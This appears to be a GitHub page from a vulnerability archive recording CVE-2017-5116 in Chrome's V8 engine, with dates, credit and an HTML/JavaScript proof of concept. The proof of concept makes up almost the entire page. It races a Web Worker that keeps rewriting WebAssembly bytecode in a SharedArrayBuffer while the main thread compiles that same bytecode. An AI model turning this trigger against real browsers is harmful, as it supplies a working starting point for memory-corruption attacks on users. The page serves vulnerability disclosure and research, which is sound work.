Skip to content

Latest commit

 

History

History
82 lines (72 loc) · 2.32 KB

CVE-2017-5116.md

File metadata and controls

82 lines (72 loc) · 2.32 KB

CVE-2017-5116

  • Report: Aug 2017
  • Fix: Aug 2017
  • Credit: Guang Gong of Alpha Team, Qihoo 360

PoC

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
    if (typeof window === 'object') break worker; // Bail if we're not a Worker
    self.onmessage = function(arg) {
        //%DebugPrint(arg.data);
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        //%DebugPrint(ta.buffer);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;                               //--------------------->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>

<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b
            ];
    var sb = new SharedArrayBuffer(wasmarr.length);           //------------------> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //-------------------->2)create a web worker
var sta = getSharedTypedArray();
//%DebugPrint(sta.buffer);
worker.postMessage(sta.buffer);                              //-------------------->3)pass the WebAssembly code to the web worker


setTimeout(function(){
        while(1){
        try{
        //console.log(sta[50]);
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--------------------->4)parse the webassembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        ///console.log(e)
        }
        }
    },1000);

//worker.terminate();
</script>
</html>

Reference